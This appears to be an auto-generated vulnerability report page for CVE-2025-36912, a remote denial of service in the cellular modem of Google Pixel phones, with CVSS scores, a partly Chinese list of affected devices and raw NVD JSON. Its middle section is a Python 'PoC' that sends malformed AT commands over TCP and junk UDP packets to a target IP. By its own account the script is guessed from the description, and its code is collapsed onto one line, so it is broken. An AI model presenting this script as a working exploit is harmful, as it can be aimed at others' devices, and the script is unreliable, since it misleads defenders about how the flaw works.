Security Vulnerability Report
中文
CVE-2025-36912 CVSS 6.5 MEDIUM

CVE-2025-36912

Published: 2025-12-11 20:15:56
Last Modified: 2025-12-12 17:28:58

Description

In cellular modem, there is a possible denial of service due to a logic error in the code. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Google Pixel 3a 及更早版本
Google Pixel 4 系列
Google Pixel 4a (5G)
Google Pixel 5
Google Pixel 5a (5G)
Google Pixel 6 系列
Google Pixel 6a
Google Pixel 7 系列
Google Pixel 7a
Google Pixel Fold
Google Pixel 8 系列
Google Pixel 8a
Google Pixel 9 系列
受影响固件版本 < 2025-12-01安全补丁

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36912 PoC - Cellular Modem DoS # Target: Android Pixel devices with vulnerable modem firmware # Note: This is a conceptual PoC for educational purposes only import socket import struct import time def cve_2025_36912_poc(target_ip, target_port=5555): """ Proof of Concept for CVE-2025-36912 Cellular Modem Logic Error DoS This PoC demonstrates sending malformed packets to trigger the logic error in modem firmware. """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] CVE-2025-36912 Cellular Modem DoS PoC") # Malformed AT command sequence to trigger logic error # Based on the vulnerability description, this affects # modem firmware logic handling exploit_payload = b"AT+CREG=2\r\n" exploit_payload += b"AT+COPS=0,,," + b"\xff" * 50 + b"\r\n" exploit_payload += b"AT+CGREG=2\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[+] Sending exploit payload...") sock.send(exploit_payload) time.sleep(2) # Send trigger packet trigger_payload = b"AT\r\n" sock.send(trigger_payload) print(f"[+] Payload sent, checking modem response...") try: response = sock.recv(1024) if b"ERROR" in response or b"OK" not in response: print(f"[!] Modem may be in error state - DoS successful") else: print(f"[*] Modem response received") except socket.timeout: print(f"[!] No response - Modem service unavailable (DoS triggered)") sock.close() except Exception as e: print(f"[-] Error: {e}") # Alternative: UDP-based trigger for baseband exploitation def udp_exploit(target_ip): """ UDP-based exploit for cellular modem vulnerability """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Malformed registration request payload = b"\x01\x03\x00\x00\x00\x00" payload += b"\xff" * 100 # Overflow condition sock.sendto(payload, (target_ip, 5555)) sock.close() print(f"[+] UDP payload sent to {target_ip}") if __name__ == "__main__": print("CVE-2025-36912 PoC - Educational Use Only") # Replace with actual target target = "192.168.1.100" cve_2025_36912_poc(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36912", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.027", "lastModified": "2025-12-12T17:28:57.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In cellular modem, there is a possible denial of service due to a logic error in the code. This could lead to remote denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}